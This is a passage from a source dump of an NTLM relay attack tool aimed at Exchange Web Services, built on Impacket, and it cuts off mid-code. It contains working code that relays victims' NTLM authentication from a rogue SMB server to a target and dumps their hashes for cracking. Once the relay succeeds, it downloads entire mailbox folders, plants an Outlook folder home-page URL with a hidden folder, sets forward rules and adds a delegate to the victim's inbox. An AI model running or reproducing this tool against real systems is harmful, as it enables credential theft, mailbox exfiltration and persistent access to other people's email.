smbServer.getConnectionData(connId, checkStatus = False)\n        #############################################################\n        # SMBRelay\n        smbData = smbServer.getConnectionData('SMBRelay', False)\n        #############################################################\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)\n\n        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:\n            # Extended security. Here we deal with all SPNEGO stuff\n            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()\n            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()\n            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])\n            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()\n            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']\n            sessionSetupData.fromString(SMBCommand['Data'])\n            connData['Capabilities'] = sessionSetupParameters['Capabilities']\n\n            if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:\n               # If there no GSSAPI ID, it must be an AUTH packet\n               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])\n               token = blob['ResponseToken']\n            else:\n               # NEGOTIATE packet\n               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])\n               token = blob['MechToken']\n\n            # Here we only handle NTLMSSP, depending on what stage of the \n            # authentication we are, we act on it\n            messageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n\n            if messageType == 0x01:\n                # NEGOTIATE_MESSAGE\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n                # Let's store it in the connection data\n                connData['NEGOTIATE_MESSAGE'] = negotiateMessage\n\n                #############################################################\n                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. \n                # Let's send it to the target server and send the answer back to the client.\n                client = smbData[self.target]['SMBClient']\n                challengeMessage = self.do_ntlm_negotiate(client,token)\n                #############################################################\n\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegResult'] = '\\x01'  \n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n\n                respToken['ResponseToken'] = str(challengeMessage)\n\n                # Setting the packet to STATUS_MORE_PROCESSING\n                errorCode = STATUS_MORE_PROCESSING_REQUIRED\n                # Let's set up an UID for this connection and store it \n                # in the connection's data\n                # Picking a fixed value\n                # TODO: Manage more UIDs for the same session\n                connData['Uid'] = 10\n                # Let's store it in the connection data\n                connData['CHALLENGE_MESSAGE'] = challengeMessage\n\n            elif messageType == 0x03:\n                # AUTHENTICATE_MESSAGE, here we deal with authentication\n\n                #############################################################\n                # SMBRelay: Ok, so now the have the Auth token, let's send it\n                # back to the target system and hope for the best.\n                client = smbData[self.target]['SMBClient']\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n                if authenticateMessage['user_name'] != '':\n                    #For some attacks it is important to know the authenticated username, so we store it\n                    connData['AUTHUSER'] = authenticateMessage['user_name']\n                    self.authUser = connData['AUTHUSER']\n                    clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])\n                    #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])\n                else:\n                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials\n                    errorCode = STATUS_ACCESS_DENIED\n\n                if errorCode != STATUS_SUCCESS:\n                    # Let's return what the target returned, hope the client connects back again\n                    packet = smb.NewSMBPacket()\n                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS\n                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY\n                    packet['Command'] = recvPacket['Command']\n                    packet['Pid']     = recvPacket['Pid']\n                    packet['Tid']     = recvPacket['Tid']\n                    packet['Mid']     = recvPacket['Mid']\n                    packet['Uid']     = recvPacket['Uid']\n                    packet['Data']    = '\\x00\\x00\\x00'\n                    packet['ErrorCode']   = errorCode >> 16\n                    packet['ErrorClass']  = errorCode & 0xff\n                    # Reset the UID\n                    if self.target[0] == 'SMB':\n                        client.setUid(0)\n                    logging.error(\"Authenticating against %s as %s\\%s FAILED\" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']))\n                    \n                    #Log this target as processed for this client\n                    self.targetprocessor.log_target(connData['ClientIP'],self.target)\n                    #del (smbData[self.target])\n                    return None, [packet], errorCode\n                else:\n                    # We have a session, create a thread and do whatever we want\n                    logging.info(\"Authenticating against %s as %s\\%s SUCCEED\" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']))\n                    #Log this target as processed for this client\n                    self.targetprocessor.log_target(connData['ClientIP'],self.target)\n                    ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )\n                    logging.info(ntlm_hash_data['hash_string'])\n                    if self.server.getJTRdumpPath() != '':\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())\n                    del (smbData[self.target])\n                    self.do_attack(client)\n                    # Now continue with the server\n                #############################################################\n\n                respToken = SPNEGO_NegTokenResp()\n                # accept-completed\n                respToken['NegResult'] = '\\x00'\n\n                # Status SUCCESS\n                errorCode = STATUS_SUCCESS\n                # Let's store it in the connection data\n                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage\n            else:\n                raise Exception(\"Unknown NTLMSSP MessageType %d\" % messageType)\n\n            respParameters['SecurityBlobLength'] = len(respToken)\n\n            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] \n            respData['SecurityBlob']       = respToken.getData()\n\n        else:\n            # Process Standard Security\n            #TODO: Fix this for other protocols than SMB [!]\n            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()\n            respData       = smb.SMBSessionSetupAndXResponse_Data()\n            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])\n            sessionSetupData = smb.SMBSessionSetupAndX_Data()\n            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']\n            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']\n            sessionSetupData.fromString(SMBCommand['Data'])\n            connData['Capabilities'] = sessionSetupParameters['Capabilities']\n            #############################################################\n            # SMBRelay\n            smbClient = smbData[self.target]['SMBClient']\n            if sessionSetupData['Account'] != '':\n                #TODO: Fix this for other protocols than SMB [!]\n                clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])\n            else:\n                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials\n                errorCode = STATUS_ACCESS_DENIED\n\n            if errorCode != STATUS_SUCCESS:\n                # Let's return what the target returned, hope the client connects back again\n                packet = smb.NewSMBPacket()\n                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS\n                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY\n                packet['Command'] = recvPacket['Command']\n                packet['Pid']     = recvPacket['Pid']\n                packet['Tid']     = recvPacket['Tid']\n                packet['Mid']     = recvPacket['Mid']\n                packet['Uid']     = recvPacket['Uid']\n                packet['Data']    = '\\x00\\x00\\x00'\n                packet['ErrorCode']   = errorCode >> 16\n                packet['ErrorClass']  = errorCode & 0xff\n                # Reset the UID\n                smbClient.setUid(0)\n                #Log this target as processed for this client\n                self.targetprocessor.log_target(connData['ClientIP'],self.target)\n                return None, [packet], errorCode\n                # Now continue with the server\n            else:\n                # We have a session, create a thread and do whatever we want\n                ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] )\n                logging.info(ntlm_hash_data['hash_string'])\n                if self.server.getJTRdumpPath() != '':\n                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())\n                #TODO: Fix this for other protocols than SMB [!]\n                clientThread = self.config.attacks['SMB'](self.config,smbClient,self.config.exeFile,self.config.command)\n                clientThread.start()\n\n                #Log this target as processed for this client\n                self.targetprocessor.log_target(connData['ClientIP'],self.target) \n\n                # Remove the target server from our connection list, the work is done\n                del (smbData[self.target])\n                # Now continue with the server\n\n            #############################################################\n\n            # Do the verification here, for just now we grant access\n            # TODO: Manage more UIDs for the same session\n            errorCode = STATUS_SUCCESS\n            connData['Uid'] = 10\n            respParameters['Action'] = 0\n\n        respData['NativeOS']     = smbServer.getServerOS()\n        respData['NativeLanMan'] = smbServer.getServerOS()\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data']       = respData \n\n        # From now on, the client can ask for other commands\n        connData['Authenticated'] = True\n        #############################################################\n        # SMBRelay\n        smbServer.setConnectionData('SMBRelay', smbData)\n        #############################################################\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    #Initialize the correct client for the relay target\n    def init_client(self,extSec):\n\t\tif self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':\n\t\t\tclient = HTTPRelayClient(\"%s://%s:%d/%s\" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]), self.config.ewsBody)\n\t\treturn client\n\n    #Do the NTLM negotiate\n    def do_ntlm_negotiate(self,client,token):\n\t\t#Since the clients all support the same operations there is no target protocol specific code needed for now\n\n\t\tclientChallengeMessage = client.sendNegotiate(token) \n\t\tchallengeMessage = ntlm.NTLMAuthChallenge()\n\t\tchallengeMessage.fromString(clientChallengeMessage)\n\t\treturn challengeMessage\n\n    #Do NTLM auth\n    def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage):\n        #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB\n        respToken2 = SPNEGO_NegTokenResp(SPNEGO_token)\n        token = respToken2['ResponseToken']\n        clientResponse = None\n\n        if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':\n            try:\n                result = client.sendAuth(token) #Result is a boolean\n                if result:\n                    errorCode = STATUS_SUCCESS\n                else:\n                    logging.error(\"HTTP NTLM auth against %s as %s FAILED\" % (self.target[1],self.authUser))\n                    errorCode = STATUS_ACCESS_DENIED\n            except Exception, e:\n                logging.error(\"NTLM Message type 3 against %s FAILED\" % self.target[1])\n                logging.error(str(e))\n                errorCode = STATUS_ACCESS_DENIED\n        return clientResponse, errorCode\n\n    def do_attack(self,client):\n\t\t#Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties\n\t\tif self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':\n\t\t\tclientThread = self.config.attacks['EWS'](self.config, client, self.authUser)\n\t\t\tclientThread.start()\n \n    def _start(self):\n        self.server.serve_forever()\n\n    def run(self):\n        logging.info(\"Setting up SMB Server\")\n        self._start()\n"
  },
  {
    "path": "lib/targetsutils.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2013-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Target utilities\n#\n# Author:\n#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# Description:\n#     Classes for handling specified targets and keeping \n# state of which targets have been processed\nimport logging\nimport os\nimport random\nimport re\nimport time\nfrom threading import Thread\n\n\nclass TargetsProcessor():\n    supported_protocols = ['SMB','HTTP','HTTPS','LDAP','MSSQL','LDAPS','IMAP','IMAPS']\n    def __init__(self,targetlistfile=None,singletarget=None):        \n        self.targetregex = re.compile(r'([a-zA-Z]+)://([a-zA-Z0-9\\.\\-_]+)(:[0-9]+)?/?(.+)?')\n        self.targetipregex = re.compile(r'[a-zA-Z\\.\\-_0-9]+')\n        self.clients_targets = {}\n        if targetlistfile is None:\n            self.filename = None\n            self.targets = [self.parse_target(singletarget)]\n        else:\n            self.filename = targetlistfile\n            self.targets = []\n            self.read_targets()\n\n    def read_targets(self):\n        try:\n            with open(self.filename,'r') as f:\n                self.targets = []\n                for line in f:\n                    target = self.parse_target(line.strip())\n                    if target is not None:\n                        self.targets.append(target)\n        except IOError, e:\n            logging.error(\"Could not open file: %s\" % self.filename)\n            logging.error(str(e))\n        if len(self.targets) == 0:\n            logging.critical(\"Warning: no valid targets specified!\")\n\n    def parse_target(self,targetline):\n        #Try a full target match in the form of protocol://target:port/path first\n        ftm = self.targetregex.match(targetline)\n        if ftm is not None:\n            if ftm.group(1).upper() not in self.supported_protocols:\n                logging.error(\"Unsupported protocol: %s\" % ftm.group(1))\n                return None\n            #Check if the port was specified\n            if ftm.group(3) is None:\n                port = self.get_default_port(ftm.group(1))\n            else:\n                #Port regex includes the : remove this\n                port = int(ftm.group(3)[1:])\n            #Check if the path was specified\n            if ftm.group(4) is None:\n                path = ''\n            else:\n                path = ftm.group(4)\n            #Targets are always a tuple (protocol,host,port)\n            #TODO: Change this to an object so we can have proper representation as string?\n            return (ftm.group(1).upper(),ftm.group(2),port,path)\n        #Maybe the target is just an IP, this assumes its an SMB target\n        itm = self.targetipregex.match(targetline)\n        if itm is not None:\n            return ('SMB',itm.group(0),445,'')\n        #If both dont match, it is probably an invalid target\n        logging.error(\"Invalid target specification: \" % targetline)\n        return None\n\n    def log_target(self,client,target):\n        try:\n            self.clients_targets[client].add(target)\n        except KeyError:\n            self.clients_targets[client] = set([target])\n        #print self.clients_targets\n\n    def get_target(self,client,choose_random=False):\n        candidates = []\n        try:\n            targetlist = self.clients_targets[client]\n        except KeyError:\n            #Client is probably new\n            if choose_random:\n                return random.choice(self.targets)\n            else:\n                return self.targets[0]\n\n        for target in self.targets:\n            #Check if the target is already in the target list\n            if target not in targetlist:\n                #If random, populate candidates\n                if choose_random:\n                    candidates.append(target)\n                else:\n                    return target\n\n        #If we arrive here and have multiple candidates, randomly select one\n        if len(candidates) > 0:\n            return random.choice(candidates)\n\n        #We are here, which means all the targets are already exhausted by the client\n        logging.info(\"All targets processed for client %s\" % client)\n        return random.choice(self.targets)\n\n    def get_default_port(self,protocol):\n        if protocol.upper() == 'SMB':\n            return 445\n        if protocol.upper() == 'HTTP':\n            return 80\n        if protocol.upper() == 'HTTPS':\n            return 443\n        if protocol.upper() == 'LDAP':\n            return 389\n        if protocol.upper() == 'LDAPS':\n            return 636\n        if protocol.upper() == 'MSSQL':\n            return 1433\n        if protocol.upper() == 'IMAP':\n            return 143\n        if protocol.upper() == 'IMAPS':\n            return 993\n        return None\n\nclass TargetsFileWatcher(Thread):\n    def __init__(self,targetprocessor):\n        Thread.__init__(self)\n        self.targetprocessor = targetprocessor\n        self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime\n        #print self.lastmtime\n\n    def run(self):\n        while True:\n            mtime = os.stat(self.targetprocessor.filename).st_mtime\n            if mtime > self.lastmtime:\n                logging.info('Targets file modified - refreshing')\n                self.lastmtime = mtime\n                self.targetprocessor.read_targets()\n            time.sleep(1.0)\n\nclass ProxyIpTranslator(Thread):\n    def __init__(self):\n        Thread.__init__(self)\n        self.regex = re.compile(r'SRC=([0-9\\.]+) DST=([0-9\\.]+) .*SPT=([0-9]+)')\n        self.iptranslations = {}\n    #-A POSTROUTING -o eth0 -j LOG --log-prefix=\"SMBrelay\"\n    def run(self):\n        logging.info(\"Setting up Proxy translator - reading from kernel log\")\n        for line in tail(\"-f\", \"/var/log/kern.log\", _iter=True):\n            if \"SMBrelay\" in line:\n                m = self.regex.search(line)\n                if m is not None:\n                    self.iptranslations[(m.group(1),m.group(3))] = m.group(2)\n                    #logging.info('Found translation from ip: %s port: %s to IP: %s' % (m.group(1),m.group(3),m.group(2)))\n\n    #Look up the destination IP based on source IP and port\n    def translate(self,source_ip,source_port):\n        try:\n            return self.iptranslations[(source_ip,str(source_port))]\n        except KeyError:\n            return None\n\n"
  },
  {
    "path": "ntlmRelayToEWS.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf8 -*-\n#\n# Author: Arno0x0x, Twitter: @Arno0x0x\n#\n# This work is based on Impacket/NTLMRelayx\n\nimport argparse\nimport sys\nimport thread\nimport string\nimport re\nimport os\nimport cgi\nfrom threading import Thread\nfrom base64 import b64decode, b64encode\nimport xml.etree.cElementTree as ET\n\nfrom impacket import version, smb3, smb\n\nfrom lib import SMBRelayServer, HTTPRelayServer\nfrom lib.config import NTLMRelayxConfig\nfrom lib.targetsutils import TargetsProcessor, TargetsFileWatcher\nfrom lib import helper\nfrom lib import logger\n\n#=========================================================================================\n# GLOBAL CONFIG\n#=========================================================================================\ntemplatesFolder = \"SOAPRequestTemplates/\"\nexchangeVersion = \"Exchange2010_SP2\"\nexchangeNamespace = {'m': 'http://schemas.microsoft.com/exchange/services/2006/messages', 't': 'http://schemas.microsoft.com/exchange/services/2006/types'}\n\t\n#=========================================================================================\n# Class EWSAttack\n#=========================================================================================\nclass EWSAttack(Thread):\n\tdef __init__(self, config, HTTPClient, username):\n\t\tThread.__init__(self)\n\t\tself.daemon = True\n\t\tself.config = config\n\t\tself.client = HTTPClient\n\t\tself.username = username\n\t\n\t#-----------------------------------------------------------------------------------------\n\t# Encodes the folder home page URL as a data structure expected by EWS\n\t# ref: http://www.infinitec.de/post/2011/10/05/Setting-the-Homepage-of-an-Exchange-folder-using-the-EWS-Managed-API.aspx\n\t# ref: https://social.msdn.microsoft.com/Forums/Lync/en-US/08572767-9375-4b87-9f05-7ff3e9928f89/ews-powershell-set-homepageurl?forum=exchangesvrdevelopment\n\t#-----------------------------------------------------------------------------------------\n\tdef encodeHomePageURL(self, url):\n\t\t# Converting url to unicode string\n\t\thomePageHex = ''\n\t\tfor c in url:\n\t\t\thomePageHex = homePageHex + c.encode('hex') + \"00\"\n\n\t\t# Preparing the structure\n\t\ts = \"02\" # WEBVIEW_PERSISTENCE_VERSION\n\t\ts = s + \"00000001\" # Type: WEBVIEWURL\n\t\ts = s + \"00000001\" # WEBVIEW_FLAGS_SHOWBYDEFAULT\n\t\ts = s + \"00000000000000000000000000000000000000000000000000000000\" # UNUSED\n\t\ts = s + \"000000\"\n\t\ts = s + format(len(homePageHex)/2+2,'x')\n\t\ts = s + \"000000\"\n\t\ts = s + homePageHex\n\t\ts = s + \"0000\"\n\n\t\treturn b64encode(bytearray.fromhex(s))\n\n\t#-----------------------------------------------------------------------------------------\n\t# The thread entry point\n\t#-----------------------------------------------------------------------------------------\n\tdef run(self):\n\n\t\tprint helper.color(\"[+] Received response from EWS server\")\n\n\t\t#------------------------------ GET FOLDER ITEMS ------------------------------\n\t\tif self.config.ewsRequest == \"getFolder\":\n\t\t\tprint helper.color(\"[+] Received items list for folder [{}]\".format(self.config.ewsFolder))\n\t\t\ttry:\n\t\t\t\tfolderXML = ET.fromstring(self.client.lastresult)\n\n\t\t\t\t#---- Create the output directory to save all items\n\t\t\t\toutputDir = \"output/\" + self.config.ewsFolder\n\t\t\t\tif not os.path.exists(outputDir):\n\t\t\t\t\tos.makedirs(outputDir)\n\n\t\t\t\t#---- Download all items\n\t\t\t\tprint helper.color(\"[+] Sending requests to download all items from folder [{}]\".format(self.config.ewsFolder))\n\t\t\t\ti = 0\n\t\t\t\tfor item in folderXML.findall(\".//t:ItemId\", exchangeNamespace):\n\t\t\t\t\tparams = {'ExchangeVersion': exchangeVersion,'Id': item.get('Id'), 'ChangeKey': item.get('ChangeKey')}\n\t\t\t\t\tbody = helper.convertFromTemplate(params, templatesFolder + \"getItem.tpl\")\n\t\t\t\t\tself.client.session.request('POST', self.client.target, body, {\"Content-Type\":\"text/xml\"})\n\t\t\t\t\tresult = self.client.session.getresponse().read()\n\n\t\t\t\t\titemXML = ET.fromstring(result)\n\t\t\t\t\tmimeContent = itemXML.find(\".//t:MimeContent\", exchangeNamespace).text\n\n\t\t\t\t\ttry:\n\t\t\t\t\t\textension = \"vcf\" if self.config.ewsFolder == \"contacts\" else \"eml\"\n\t\t\t\t\t\tfileName = outputDir + \"/item-{}.\".format(i) + extension\n\t\t\t\t\t\twith open(fileName, 'w+') as fileHandle:\n\t\t\t\t\t\t\tfileHandle.write(b64decode(mimeContent))\n\t\t\t\t\t\t\tfileHandle.close()\n\t\t\t\t\t\t\tprint helper.color(\"[+] Item [{}] saved successfully\".format(fileName))\n\t\t\t\t\texcept IOError:\n\t\t\t\t\t\tprint helper.color(\"[!] Could not write file [{}]\".format(fileName))\n\t\t\t\t\ti = i + 1\n\t\t\texcept Exception, e:\n\t\t\t\tprint helper.color(\"[!] Error processing result for getFolder: [{}]\".format(str(e)))\n\n\t\t#------------------------------ SET FOLDER HOME PAGE ------------------------------\n\t\t# Ref: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/\n\t\telif self.config.ewsRequest == \"setHomePage\":\n\t\t\tprint helper.color(\"[+] Received FolderID for folder [{}]\".format(self.config.ewsFolder))\n\t\t\ttry:\n\t\t\t\tfolderXML = ET.fromstring(self.client.lastresult)\n\t\t\t\tfolderID = folderXML.find(\".//t:FolderId\", exchangeNamespace).get('Id')\n\t\t\t\tchangeKey = folderXML.find(\".//t:FolderId\", exchangeNamespace).get('ChangeKey')\n\t\n\t\t\t\t#---- Prepare the request to set the homePageUrl\n\t\t\t\thomePage = self.encodeHomePageURL(self.config.ewsHomePageURL)\n\t\t\t\tparams = {'ExchangeVersion': exchangeVersion, 'FolderId': folderID, 'ChangeKey': changeKey, 'HomePage': homePage }\n\t\t\t\tbody = helper.convertFromTemplate(params, templatesFolder + \"setHomePage.tpl\")\n\t\n\t\t\t\t#---- Send the request\n\t\t\t\tprint helper.color(\"[+] Sending request to set the [{}] folder's home page to [{}]\".format(self.config.ewsFolder, self.config.ewsHomePageURL))\n\t\t\t\tself.client.session.request('POST', self.client.target, body, {\"Content-Type\":\"text/xml\"})\n\t\t\t\tresult = self.client.session.getresponse().read()\n\t\t\t\n\t\t\t\t#---- Prepare the request to create a hidden folder (trick to force the refresh of the Outlook client)\n\t\t\t\tparams = {'ExchangeVersion': exchangeVersion, 'ParentFolder': self.config.ewsFolder }\n\t\t\t\tbody = helper.convertFromTemplate(params, templatesFolder + \"createHiddenFolder.tpl\")\n\t\n\t\t\t\t#---- Send the request\n\t\t\t\tprint helper.color(\"[+] Sending request to create a hidden folder under the [{}] folder\".format(self.config.ewsFolder))\n\t\t\t\tself.client.session.request('POST', self.client.target, body, {\"Content-Type\":\"text/xml\"})\n\t\t\t\tresult = self.client.session.getresponse().read()\n\t\t\t\tprint helper.color(result, 'blue')\n\n\t\t\texcept Exception, e:\n\t\t\t\tprint helper.color(\"[!] Error processing result for setHomePage: [{}]\".format(str(e)))\n\n\t\t#------------------------------ FORWARD RULE ------------------------------\n\t\telif self.config.ewsRequest == \"forwardRule\":\n\t\t\tprint helper.color(\"[+] Forward rule deployed\")\n\t\t\tprint helper.color(self.client.lastresult, 'blue')\n\n\t\t#------------------------------ ADD DELEGATE ------------------------------\n\t\telif self.config.ewsRequest == \"addDelegate\":\n\t\t\ttry:\n\t\t\t\t#---- Prepare the request to resolve the user's principal eMail address\n\t\t\t\tparams = {'ExchangeVersion': exchangeVersion, 'UserAccount': self.username.replace('\\x00','') }\n\t\t\t\tbody = helper.convertFromTemplate(params, templatesFolder + \"resolveEmailAddr.tpl\")\n\t\n\t\t\t\t#---- Send the request\n\t\t\t\tprint helper.color(\"[+] Sending request to resolve the principal eMail address for user [{}] \".format(self.username))\n\t\t\t\tself.client.session.request('POST', self.client.target, body, {\"Content-Type\":\"text/xml\"})\n\t\t\t\tresult = self.client.session.getresponse().read()\n\t\t\t\t\n\t\t\t\t#---- Parse the response and retrieve the eMail address\n\t\t\t\trespXML = ET.fromstring(result)\n\t\t\t\teMailAddress = respXML.find(\".//t:EmailAddress\", exchangeNamespace).text\n\t\t\t\t\n\t\t\t\t#---- Prepare the request to add a 'destAddress' as a delegate for the user's mailbox\n\t\t\t\tparams = {'ExchangeVersion': exchangeVersion, 'TargetAddress': eMailAddress, 'DelegateAddress': self.config.ewsDestAddress }\n\t\t\t\tbody = helper.convertFromTemplate(params, templatesFolder + \"addDelegate.tpl\")\n\t\n\t\t\t\t#---- Send the request\n\t\t\t\tprint helper.color(\"[+] Sending request to add [{}] as a delegate address for [{}] inbox\".format(self.config.ewsDestAddress, eMailAddress))\n\t\t\t\tself.client.session.request('POST', self.client.target, body, {\"Content-Type\":\"text/xml\"})\n\t\t\t\tresult = self.client.session.getresponse().read()\n\t\t\t\tprint helper.color(result, 'blue')\n\n\t\t\texcept Exception, e:\n\t\t\t\tprint helper.color(\"[!] Error processing result for addDelegate: [{}]\".format(str(e)))\n\t\t\t\n\t\t#------------------------------ DEFAULT ------------------------------\n\t\telse:\n\t\t\tprint helper.color(self.client.lastresult, 'blue')\n\n#=========================================================================================\n# \t\t\t\t\t\t\t\t\t\t\tMAIN\n#=========================================================================================\n# Process command-line arguments.\nif __name__ == '__main__':\n\n\tRELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )\n\tATTACKS = { 'EWS': EWSAttack}\n\n\tprint version.BANNER\n\tprint helper.color(\"[*] NtlmRelayX to Exchange Web Services - Author: @Arno0x0x\")\n\n\t# Parse arguments\n\tparser = argparse.ArgumentParser(add_help = False, description = \"For every connection received, this module will \"\n\t\t                            \"try to relay that connection to specified target(s) system\")\n\tparser._optionals.title = \"Main options\"\n\n\t# Main arguments\n\tparser.add_argument(\"-h\",\"--help\", action=\"help\", help='show this help message and exit')\n\tparser.add_argument(\"-v\",\"--verbose\", action=\"store_true\", help='Increase output verbositys')\n\tparser.add_argument('-t',\"--target\", action='store', required=True, metavar = 'TARGET', help='EWS web service target to relay the credentials to, '\n\t\t          'in the form of a URL: https://EWSServer/EWS/exchange.asmx')\n\tparser.add_argument('-o', \"--output-file\", action=\"store\", help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2')\n\tparser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when '\n\t\t                'interacting with the domain to grab a session key for signing, format is domain/machine_name')\n\tparser.add_argument('-machine-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='Domain machine hashes, format is LMHASH:NTHASH')\n\tparser.add_argument('-domain', action=\"store\", help='Domain FQDN or IP to connect using NETLOGON')\n\n\t# EWS API arguments\n\tparser.add_argument(\"-r\",\"--request\", action=\"store\", required=True,  choices=['sendMail', 'setHomePage', 'getFolder', 'forwardRule', 'addDelegate'], help='The EWS service to call')\n\tparser.add_argument(\"-d\",\"--destAddresses\", action=\"store\", help='List of e-mail addresses to be used as destination for any EWS service that needs it.'\n\t\t\t\t\t\t' Must be separated by a comma.')\n\tparser.add_argument(\"-m\",\"--message\", action=\"store\", help='Message File containing the body of the message as an HTML file')\n\tparser.add_argument(\"-s\",\"--subject\", action=\"store\", help='Message subject')\n\tparser.add_argument(\"-f\",\"--folder\", action=\"store\", choices=['inbox', 'sentitem', 'deleteditems', 'tasks','calendar','contacts'], help='The Exchange folder name to list')\n\tparser.add_argument(\"-u\",\"--url\", action=\"store\", help='URL to be used for the setHomePage request')\n\n\ttry:\n\t   args = parser.parse_args()\n\texcept Exception, e:\n\t   print helper.color(\"[!] \" + str(e))\n\t   sys.exit(1)\n\n\t# Set output verbosity\n\tif args.verbose:\n\t\tlogger.init()\n\t\n\t#-----------------------------------------------------------------\n\t# Preparing the SOAPXMLRequest for the send eMail EWS Service\n\t#-----------------------------------------------------------------\n\tif args.request == \"sendMail\":\n\t\tif args.destAddresses and args.message and args.subject:\n\t\t\t#--- Get the message from file\n\t\t\ttry:\n\t\t\t\twith open(args.message) as fileHandle:\n\t\t\t\t\tmessage = cgi.escape(fileHandle.read())\n\t\t\t\t\tfileHandle.close()\n\t\t\t\t\tprint helper.color(\"[+] File [{}] successfully loaded !\".format(args.message))\n\t\t\texcept IOError:\n\t\t\t\tprint color(\"[!] Could not open or read file [{}]\".format(args.message))\n\t\t\t\tsys.exit(1)\n\t\t\t\n\t\t\t#--- Prepare the destAddresses block\n\t\t\tdestAddressBlock = \"\"\n\t\t\tdestAddresses = args.destAddresses.split(',')\n\t\t\tfor destAddress in destAddresses:\n\t\t\t\tdestAddressBlock = destAddressBlock + \"<t:Mailbox><t:EmailAddress>{}</t:EmailAddress></t:Mailbox>\".format(destAddress)\n\t\t\t\n\t\t\t#--- Prepare the final EWS SOAP XML Request body\n\t\t\tbody = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Subject': args.subject, 'Message': message, 'DestAddressBlock': destAddressBlock}, templatesFolder + \"sendMail.tpl\")\n\t\t\t\n\t\telse:\n\t\t\tprint helper.color(\"[!] Missing mandatory arguments for [sendMail] request. Required arguments are: subject / destAddresses / message\")\n\t\t\tsys.exit(1)\n\n\t#-----------------------------------------------------------------\n\t# Preparing the SOAPXMLRequest for the get folder items EWS Service\n\t#-----------------------------------------------------------------\n\tif args.request == \"getFolder\":\n\t\tif args.folder:\n\t\t\t#--- Prepare the final EWS SOAP XML Request body\n\t\t\tbody = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Folder': args.folder},templatesFolder +  \"listFolder.tpl\")\n\t\telse:\n\t\t\tprint helper.color(\"[!] Missing mandatory arguments for [getFolder] request. Required arguments is: folder\")\n\t\t\tsys.exit(1)\n\n\t#-----------------------------------------------------------------\n\t# Preparing the SOAPXMLRequest for the set home page EWS Service\n\t#-----------------------------------------------------------------\n\tif args.request == \"setHomePage\":\n\t\tif args.folder and 